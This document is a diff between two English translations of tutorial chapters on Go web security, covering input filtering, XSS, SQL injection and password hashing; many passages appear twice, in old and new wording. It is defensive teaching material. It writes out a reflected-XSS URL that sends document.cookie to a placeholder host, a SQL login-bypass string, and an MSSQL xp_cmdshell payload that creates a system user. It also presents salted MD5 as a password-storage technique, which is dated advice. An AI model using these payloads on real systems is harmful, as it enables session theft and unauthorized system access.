If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms somewhat differ in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications.
|
||||
|
||||
There are many ways to filter data, some of which are less secure. The best way is to check the filter as a process, you have to check before using the data to see whether they meet the legal requirements of the data. And do not try to correct the illegal data kindly, and let the user presses the rules to enter your data. History has proved that the attempt to correct invalid data often lead to security vulnerabilities. Here an example: "The recent construction of the banking system after the upgrade, if the password behind the two is 0, just enter the front four can log into the system," which is a very serious flaw.
|
||||
There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts!
|
||||
|
||||
Filtering data using the following several major libraries to operate :
|
||||
We can use several libraries to help us to filter data:
|
||||
|
||||
- Strconv package the following string into the correlation function, because the `r.Form` Request returns a string, and sometimes we need to convert it to an integer/floating point, `Atoi`, `ParseBool`, ` ParseFloat `,` ParseInt ` other function can come in handy.
|
||||
- String pack Here are some filter function `Trim`, `ToLower`, `ToTitle` other functions, can help us to obtain information in accordance with the format specified.
|
||||
- Regexp package to handle some of the complex needs, such as determining whether the input is Email, birthdays and the like.
|
||||
- The strconv package can help us to convert user inputed strings into specific types, since `r.Form`s are maps of string values. Some common string conversions provided by strconv are `Atoi`, `ParseBool`, ` ParseFloat ` and `ParseInt`.
|
||||
- Go's `strings` package contains some filter functions like `Trim`, `ToLower` and `ToTitle`, which can help us to obtain data in a specific formats, according to our needs.
|
||||
- Go's `regexp` package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc.
|
||||
|
||||
Filtering Data In addition to checking authentication, in particular, you can also use the whitelist. Assuming that you are checking the data is illegal, unless it can prove that it is legitimate. Using this method, if an error occurs, it will only lead to the legitimate data as it is illegal, and not the opposite, although we do not want to make any mistakes, but it is better than the illegal data as legitimate data much more secure.
|
||||
Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure.
|
||||
|
||||
## Distinguish filter data
|
||||
## Distinguishing between filtered and tainted data
|
||||
|
||||
If you have completed the above steps, data filtering work is basically completed, but when writing Web applications, we also need to distinguish between filtered and tainted data, because it can guarantee the integrity of data filtering without affecting the input data. We agreed to put all filtered data into a variable called global Map (CleanMap). Then two important steps needed to prevent contamination of data injection:
|
||||
If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called `CleanMap`. Then, two important steps are required to prevent contamination via data injection:
|
||||
|
||||
- Each request must be initialized CleanMap an empty Map.
|
||||
- Join inspection and prevent a variable from an external data source named CleanMap.
|
||||
- Each request must initialize `CleanMap` as an empty map.
|
||||
- Prevent variables from external data sources named `CleanMap` from being introduced into the app.
|
||||
|
||||
Next, let's use an example to reinforce these concepts, see the following form
|
||||
Next, let's use an example form to reinforce these concepts:
|
||||
|
||||
<form action="/whoami" method="POST">
|
||||
Who am I:
|
||||
@@ -47,7 +47,7 @@ Next, let's use an example to reinforce these concepts, see the following form
|
||||
<input type="submit" />
|
||||
</form>
|
||||
|
||||
In dealing with this form of programming logic, very easy to make the mistake that can only be submitted in one of three choices. In fact, an attacker can simulate the POST operation, `name = attack` submission of such data, so at this point we need to do a similar deal with whitelist
|
||||
In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three `select` options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with `name = attack`, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks:
|
||||
|
||||
r.ParseForm()
|
||||
name := r.Form.Get("name")
|
||||
@@ -56,10 +56,9 @@ In dealing with this form of programming logic, very easy to make the mistake th
|
||||
CleanMap["name"] = name
|
||||
}
|
||||
|
||||
The above code we initialize a `CleanMap` variable name is obtained when the judge `astaxie`, `herry`, `marry` after one of the three
|
||||
We store data in the `CleanMap` being, so you can make sure `CleanMap["name"]` data is legitimate, and thus the rest of the code to use it. Of course, we can also increase the else part of illegal data processing, possibility is that the form is displayed again with an error. But do not try to be friendly and output data to be contaminated.
|
||||
The above code initializes a `CleanMap` variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (`astaxie`, `herry` and `marry` in this case). We store the data in the `CleanMap` instance so you can be sure that `CleanMap["name"]` holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional `else` statement to the above `if` whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your `CleanMap`.
|
||||
|
||||
The above method for filtering a set of known legitimate value data is very effective, but there is a group known for filtering data consisting of legal characters when it did not help. For example, you may need a user name can only consist of letters and numbers:
|
||||
The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using `regexp`, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers:
|
||||
|
||||
r.ParseForm()
|
||||
username := r.Form.Get("username")
|
||||
@@ -70,7 +69,7 @@ The above method for filtering a set of known legitimate value data is very effe
|
||||
|
||||
## Summary
|
||||
|
||||
Data filtering in the Web security play a cornerstone role in most of the security problems are the result of filtering the data and validation of data caused by, for example, the front section of CSRF attacks, and the next will be introduced XSS attacks, SQL injection and so there is no serious cause for filtering data, so we need special attention to this part of the content.
|
||||
Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with as important a topic as data sanitization, so in this section, we paid special attention to it.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,59 +1,59 @@
|
||||
# 9.3 XSS attacks
|
||||
|
||||
With the development of Internet technology, and now the Web application contains a lot of dynamic content to improve the user experience. The so-called dynamic content is that the application environment and the user according to the user request, the output of the corresponding content. Dynamic site will be called "cross-site scripting attacks" (Cross Site Scripting, security experts often be abbreviated as XSS) threats, while static site is completely unaffected by it.
|
||||
With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by.
|
||||
|
||||
## What is XSS
|
||||
|
||||
XSS attacks: cross-site scripting attacks (Cross-Site Scripting), in order not to, and Cascading Style Sheets (Cascading Style Sheets, CSS) acronym confusion, it will be abbreviated as cross-site scripting attacks XSS. XSS is a common web security vulnerability that allows an attacker to provide malicious code into the pages used by other users. Unlike most attacks (generally involve the attacker and the victim), XSS involves three parties, namely the attacker, the client and Web applications. XSS attack goal is to steal a cookie stored on the client or other websites used to identify the identity of sensitive client information. Once you get to the legitimate user's information, the attacker can even impersonate interact with the site.
|
||||
As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval.
|
||||
|
||||
XSS can usually be divided into two categories: one is the storage type of XSS, mainly in allowing users to input data for use by other users who browse this page to view places, including comments, reviews, blog posts and various forms. Applications to query data from the database, the page is displayed, the attacker entered the relevant page malicious script data, users browse these pages may be attacked. This simple process can be described as: a malicious user input Html Web applications - > access to the database -> Web Programs - > user's browser. The other is reflective XSS, the main approach is to add the script code in the URL address of the request parameters, request parameters into the program directly to the output of the page, the user clicks a malicious link in a similar attack could be.
|
||||
XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden `<script>` tag containing some malicious code, then hits save. The web application saves this to the database. When another user requests this page, the application queries this tainted data from the database and serves the page to the user. The attacker's script then executes arbitrary code on the client's computer.
|
||||
|
||||
The other type is a reflected XSS attack. The main idea is to embed a malicious script directly into the query parameters of a URL address. A server that immediately parses this data into a page of results and returns it (to the client who made the request) unsanitized, can unwittingly cause the client's computer to execute this code. An attacker can send a user a legitimate looking link to a trusted website with the encoded payload; clicking on this link can cause the user's browser to execute the malicious script.
|
||||
|
||||
XSS present the main means and ends as follows:
|
||||
|
||||
- Theft of cookie, access to sensitive information.
|
||||
- The use of implantable Flash, through crossdomain permissions set to further obtain a higher authority, or the use of Java and other get similar operations.
|
||||
- Use iframe, frame, XMLHttpRequest or the Flash, etc., to (the attacker) the identity of the user to perform some administrative actions, or perform some, such as: micro-Bo, add friends, send private messages and other routine operations, some time ago, Sina microblogging suffered once XSS.
|
||||
- The use of a domain can be attacked by other characteristics of domain trust to request the identity of trusted sources do not allow some of the usual operations, such as an improper voting.
|
||||
- In a great number of visits on the page XSS attack some small sites can achieve the effect of DDoS attacks
|
||||
- Theft of cookies, access to sensitive information.
|
||||
- The use of embedded Flash, through crossdomain permissions, can also be used by an attacker to obtain higher user priviledges. This also applies for other similar attack vectors such as Java and VBScript.
|
||||
- The use of iframes, frames, XMLHttpRequests, etc., can allow an attacker to assume the identity of a user to perform administrative actions such as micro-blogging, adding friends, sending private messages, and other routine operations. A while ago, the Sina microblogging platform suffered from this type of XSS vulnerability.
|
||||
- When many users visit a page affected by an XSS attack, the effect on some smaller sites can be comparable to that of a DDoS attack.
|
||||
|
||||
## XSS principle
|
||||
## XSS principles
|
||||
|
||||
Web applications are not submitted the requested data to the user to make a full inspection filter that allows users to incorporate data submitted by HTML code (most notably">","<"), and the output of malicious code without escaping to third parties interpreted the user's browser, is leading causes of XSS vulnerabilities.
|
||||
Web applications that return requested data to users without first inspecting and filtering it can allow malicious users to inject scripts (typically embedded inside HTML within <script> tags) onto other users' browsers. When this malicious code is rendered on a user's browser without first having been escaped from, the user's browser will interpret this code: this is the definition of an XSS attack, and this type of mistake is the leading cause of XSS vulnerabilities.
|
||||
|
||||
Next to reflective XSS XSS illustrate the process: There is now a website, according to the parameters outputs the user 's name, such as accessing url: `http://127.0.0.1/?name=astaxie`, it will output the following in the browser information:
|
||||
Let's go through the process of a reflective XSS attack. Let's say there's a website that outputs a user's name according to the URL query parameters; access the following URL `http://127.0.0.1/?name=astaxie` will cause the server to output the following:
|
||||
|
||||
hello astaxie
|
||||
|
||||
If we pass this url: `http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`, then you will find out a browser pop-up box, which Help the site has been in existence XSS vulnerabilities. So how malicious users steal Cookie it?
|
||||
And the like, as this url:
|
||||
Let's say we pass the following parameter instead, accessing the same url: `http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack?
|
||||
|
||||
Just like before, we have a URL:
|
||||
|
||||
`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`
|
||||
, so that you can put current cookie sent to the specified site: `www.xxx.com`. You might say, so have a look at the URL of the problem, how would someone clicks? Yes, this kind of URL will make people skeptical, but if you use a short URL service to shorten it, you could see it?, The attacker will shorten the url in some way after the spread, know the truth once the user clicks on this url, cookie data will be sent the appropriate pre-configured sites like this on the user's cookie information Theft, then you can use a tool like Websleuth to check whether the user's account to steal.
|
||||
|
||||
A more detailed analysis about XSS we can refer to this called" [ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" articles
|
||||
By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities.
|
||||
|
||||
For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"
|
||||
|
||||
## How to prevent XSS
|
||||
|
||||
The answer is simple, and resolutely do not believe any user input, and filter out all the special characters in the input. This will eliminate the majority of XSS attacks.
|
||||
The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks.
|
||||
|
||||
There are currently XSS defense following ways :
|
||||
Use the following techniques to defend against XSS attacks:
|
||||
|
||||
- Filtering special characters
|
||||
- Filter special characters
|
||||
|
||||
One way to avoid XSS mainly to the user-supplied content filtering, Go language provides the HTML filter function :
|
||||
One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few.
|
||||
|
||||
`text/template` package below `HTMLEscapeString`, `JSEscapeString` other functions
|
||||
|
||||
- Using HTTP headers specified type
|
||||
- Specify the content type in your HTTP headers
|
||||
|
||||
`w.Header().Set("Content-Type","text/javascript")`
|
||||
|
||||
This allows the browser to parse javascript code, and will not be html output.
|
||||
|
||||
This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner.
|
||||
|
||||
## Summary
|
||||
|
||||
XSS vulnerability is quite hazardous in the development of Web applications, it is important to remember to filter data, especially in the output to the client, which is now well-established means of preventing XSS.
|
||||
Introducing XSS vulnerabilities is a very real hazard when developping web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
## What is SQL injection
|
||||
|
||||
SQL injection attacks (SQL Injection), referred to injection attacks, Web development is the most common form of security vulnerabilities. You can use it to obtain sensitive information from the database, or the use of the characteristics of the process of adding users to the database, export file and a series of malicious actions, there may even get a database as well as the highest authority system users.
|
||||
SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes.
|
||||
|
||||
SQL injection caused because the program does not effectively filter user input, so that an attacker successfully submitted to the server malicious SQL query code, the program will receive the error after the attacker's input as a part of query execution, leading to the original the query logic is changed, the additional execution of attacker crafted malicious code.
|
||||
SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's malicious code is executed instead.
|
||||
|
||||
## SQL injection examples
|
||||
|
||||
Many Web developers do not realize how SQL queries can be tampered with, so that an SQL query is a trusted command. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks. What is more, it is possible to run SQL queries through the host system level commands.
|
||||
Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the level of the host system.
|
||||
|
||||
The following will be some real examples to explain in detail the way SQL injection.
|
||||
Let's have a look at some real examples to explain the process of SQL injection in detail.
|
||||
|
||||
Consider the following simple login form :
|
||||
|
||||
@@ -20,53 +20,53 @@ Consider the following simple login form :
|
||||
<p><input type="submit" value="Login" /></p>
|
||||
</form>
|
||||
|
||||
Our processing inside the SQL might look like this :
|
||||
Our form processing might look like this:
|
||||
|
||||
username := r.Form.Get("username")
|
||||
password := r.Form.Get("password")
|
||||
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"
|
||||
|
||||
If the user input as the user name, password, any
|
||||
If the user inputs a user name or password as:
|
||||
|
||||
myuser' or 'foo' = 'foo' --
|
||||
|
||||
Then our SQL becomes as follows:
|
||||
Then our SQL becomes the following:
|
||||
|
||||
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
|
||||
|
||||
In SQL, anything after `--` is a comment. Thus inserting `--` alters the query. This allows the attacker to successful login as a user without a valid password.
|
||||
In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password.
|
||||
|
||||
There are far more dangerous for a MSSQL SQL injection, is the control system, the following examples will demonstrate how terrible in some versions of MSSQL database to perform system commands.
|
||||
Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases.
|
||||
|
||||
sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
|
||||
Db.Exec(sql)
|
||||
|
||||
If the attacker Submit `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` prod value as a variable, then the sql will become
|
||||
If an attacker submits `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` as the "prod" variable, then the sql will become
|
||||
|
||||
sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
|
||||
|
||||
MSSQL Server executes the SQL statement, including its back that is used to add new users to the system commands. If this program is run sa and the MSSQLSERVER service sufficient privileges, the attacker can get a system account to access this machine.
|
||||
The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine.
|
||||
|
||||
> Although the examples above is tied to a specific database systems, but this does not mean that other database systems can not implement a similar attack. In response to this vulnerability, as long as the use of different methods, various databases are likely to suffer.
|
||||
> Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary.
|
||||
|
||||
## How to prevent SQL injection
|
||||
|
||||
Perhaps you will say the attacker to know the database structure information in order to implement SQL injection attacks. True, but no one can guarantee the attacker must get this information, once they got, the database exists the risk of leakage. If you are using open source software to access the database, such as forum, the intruders easily get the related code. If the code is poorly designed, then the risk is even greater. Currently Discuz, phpwind, phpcms popular open source programs such as these have been precedents of SQL injection attacks.
|
||||
You might be thinking that an attacker would have to know information about the target database's structure in order to carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks.
|
||||
|
||||
These attacks happen when safety is not high on the code. So, never trust any kind of input, especially from the user's data, including the selection box, a hidden input field or a cookie. As a first example above it, even if it is a normal query can cause disasters.
|
||||
These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has shown, even supposedly normal queries can cause disasters.
|
||||
|
||||
SQL injection attacks harm so great, then how to combat it ? Following suggestions may be the prevention of SQL injection have some help.
|
||||
SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection:
|
||||
|
||||
1. Strictly limit the operation of the Web application database permissions to this user is only able to meet the minimum permissions of their work, thus to minimize the harm to the database injection attacks.
|
||||
2. Check whether the data input has the expected data format, and strictly limit the types of variables, such as using some regexp matching processing package, or use strconv package right string into other basic types of data to judge.
|
||||
3. Pairs of special characters into the database ( '"\&*; etc. ) be escaped, or transcoding. Go to `text/template` package inside the `HTMLEscapeString` function can be escaped strings.
|
||||
4. All the recommended database query parameterized query interface, parameterized statement uses parameters instead of concatenating user input variables in embedded SQL statements that do not directly spliced SQL statement. For example, using `database/sql` inside the query function `Prepare` and `Query`, or `Exec(query string, args... interface {})`.
|
||||
5. In the application before releasing recommend using a professional SQL injection detection tools to detect, and repair was discovered when a SQL injection vulnerability. There are many online open source tool in this regard, for example, sqlmap, SQLninja so on.
|
||||
6. Avoid printing out SQL error information on webpage in order to prevent an attacker using these error messages for SQL injection. Ex. such as type errors, and fields not matching, or any SQL statements.
|
||||
1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks.
|
||||
2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation.
|
||||
3. Transcode or escape from pairs of special characters ( '"\&*; etc. ) before persisting them into the database. Go's `text/template` package has a `HTMLEscapeString` function that can be used to return escaped HTML.
|
||||
4. Use your database's parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice SQL statements. For example, using the the `Prepare` function in Go's `database/sql` package, we can create prepared statements for later execution with `Query` or `Exec(query string, args... interface {})`.
|
||||
5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few.
|
||||
6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements.
|
||||
|
||||
## Summary
|
||||
|
||||
Through the above example we can know, SQL injection is harmful to considerable security vulnerabilities. So we usually write for a Web application, it should be for every little detail must attach great importance to the details determine the fate of life is so, writing Web applications as well.
|
||||
Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# 9.5 Password storage
|
||||
|
||||
Over a period of time, a lot of websites suffered data breaches user password, which includes top Internet companies - Linkedin.com, CSDN.net, the event swept across the entire domestic Internet, and then it came to more than 8 million users play games information was leaked, another rumor everyone, happy network, a distant community, good margin century, Lily network and other communities are likely to become the next target hackers. The endless stream of similar events to the user's online life a huge impact, feel insecure, because people tend habit of using the same password for different sites, so a"violent Library", all suffer.
|
||||
Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been effected. The impact of these types of events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same password for many different websites.
|
||||
|
||||
So we as a Web application developer, the choice of password storage scheme, which is easy to fall into the pitfalls and how to avoid these traps?
|
||||
As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them?
|
||||
|
||||
## Common solution
|
||||
## Common solutions
|
||||
|
||||
Currently the most used password storage scheme is to make one-way hash plaintext passwords stored after, there is a one-way hash algorithm characteristics: can not hashed summary (digest) recover the original data, which is the"one-way" two source word. Commonly used one-way hash algorithms include SHA-256, SHA-1, MD5 and so on.
|
||||
Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is infeasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on.
|
||||
|
||||
Go language these three encryption algorithm is as follows:
|
||||
You can easily use the three aforementioned encryption algorithms in Go as follows:
|
||||
|
||||
//import "crypto/sha256"
|
||||
h := sha256.New()
|
||||
@@ -25,24 +25,24 @@ Go language these three encryption algorithm is as follows:
|
||||
io.WriteString(h, "需要加密的密码")
|
||||
fmt.Printf("%x", h.Sum(nil))
|
||||
|
||||
There are two one-way hash features:
|
||||
There are two key features of one-way hashing:
|
||||
|
||||
1) with a one-way hash of the password, the resulting summary is always uniquely determined.
|
||||
2) calculation speed. As technology advances, a second to complete billions of one-way hash calculation.
|
||||
1) given a one-way hash of a password, the resulting summary is always uniquely determined.
|
||||
2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations.
|
||||
|
||||
Combination of the above two characteristics, taking into account the majority of people are using a combination of common password, the attacker can be a combination of all the common password -way hash, get a summary combination, and then a summary of the database for comparison to obtain the corresponding password. This abstract composition is also known as `rainbow table`.
|
||||
Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`.
|
||||
|
||||
Therefore, after a one-way encryption of data stored, and stored in plain text is not much difference. Therefore, once the site database leaked, all the user's password itself is revealed to the world.
|
||||
We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world.
|
||||
|
||||
## Advanced solution
|
||||
|
||||
Through the above description we know that hackers can use the `rainbow table` to crack hashed passwords, largely because the hash algorithm used to encrypt is public. If a hacker does not know what encryption hash algorithm, that he will not start up.
|
||||
Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start.
|
||||
|
||||
An immediate solution is to design their own a hash algorithm. However, a good hash algorithm is very difficult to design - both to avoid the collision, but also can not have obvious rule, these two points to be much more difficult than expected. Therefore, more practical applications is the use of many existing hash hash algorithm.
|
||||
An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle hardened hash algorithms that are already out there.
|
||||
|
||||
But simply repeated hash, still could not stop hackers. Twice MD5, MD5 three such methods, we can think of, hackers can think naturally. Especially for some of the open source code, so that it is equivalent to the hash algorithm directly to tell a hacker.
|
||||
But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process.
|
||||
|
||||
No unassailable shield, but there is no off constantly spear. Now security is relatively good site, will use a technique called" salt" way to store passwords, it is often said that"salt". Their usual practice is to first conduct a user-entered password MD5 (or other hash algorithm) encryption ; MD5 values will be only an administrator before they know plus some random string, and then conduct a MD5 encryption. The random string can be included in certain fixed string, and can include the user name (used to ensure that each user is not the same encryption key used).
|
||||
Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key.
|
||||
|
||||
//import "crypto/md5"
|
||||
// Assume the username abc, password 123456
|
||||
@@ -63,31 +63,33 @@ No unassailable shield, but there is no off constantly spear. Now security is re
|
||||
|
||||
last :=fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
In two salt did not reveal circumstances, if the hacker is the last to get the encrypted string, it is almost impossible to figure out what the original password.
|
||||
In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is.
|
||||
|
||||
## Professional solution
|
||||
|
||||
Advanced solutions above a few years ago may be safe enough solution because the attacker does not have enough resources to build so many `rainbow table`. However, so far, because the parallel computing capabilities of the upgrade, this attack has been completely feasible.
|
||||
The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible.
|
||||
|
||||
How to solve this problem? As long as time and resources permit, without a password can not be deciphered, so the solution is: Calculate the required password deliberately increase the resources and time consuming, so nobody sufficient resources available to establish the required `rainbow table`.
|
||||
How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`.
|
||||
|
||||
Such programs have a feature, the algorithm has a factor used to calculate the digest of the password needed to indicate the resources and time, which is computationally intensive. The greater the intensity calculation, an attacker establishes `rainbow table` more difficult, so that can not continue.
|
||||
Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try.
|
||||
|
||||
It is recommended `scrypt` program, scrypt by the famous hacker Colin Percival of the FreeBSD backup service Tarsnap for his development.
|
||||
In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap).
|
||||
|
||||
Go language which is currently supported by the library http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
|
||||
The packge's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
|
||||
|
||||
Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption:
|
||||
|
||||
dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
|
||||
|
||||
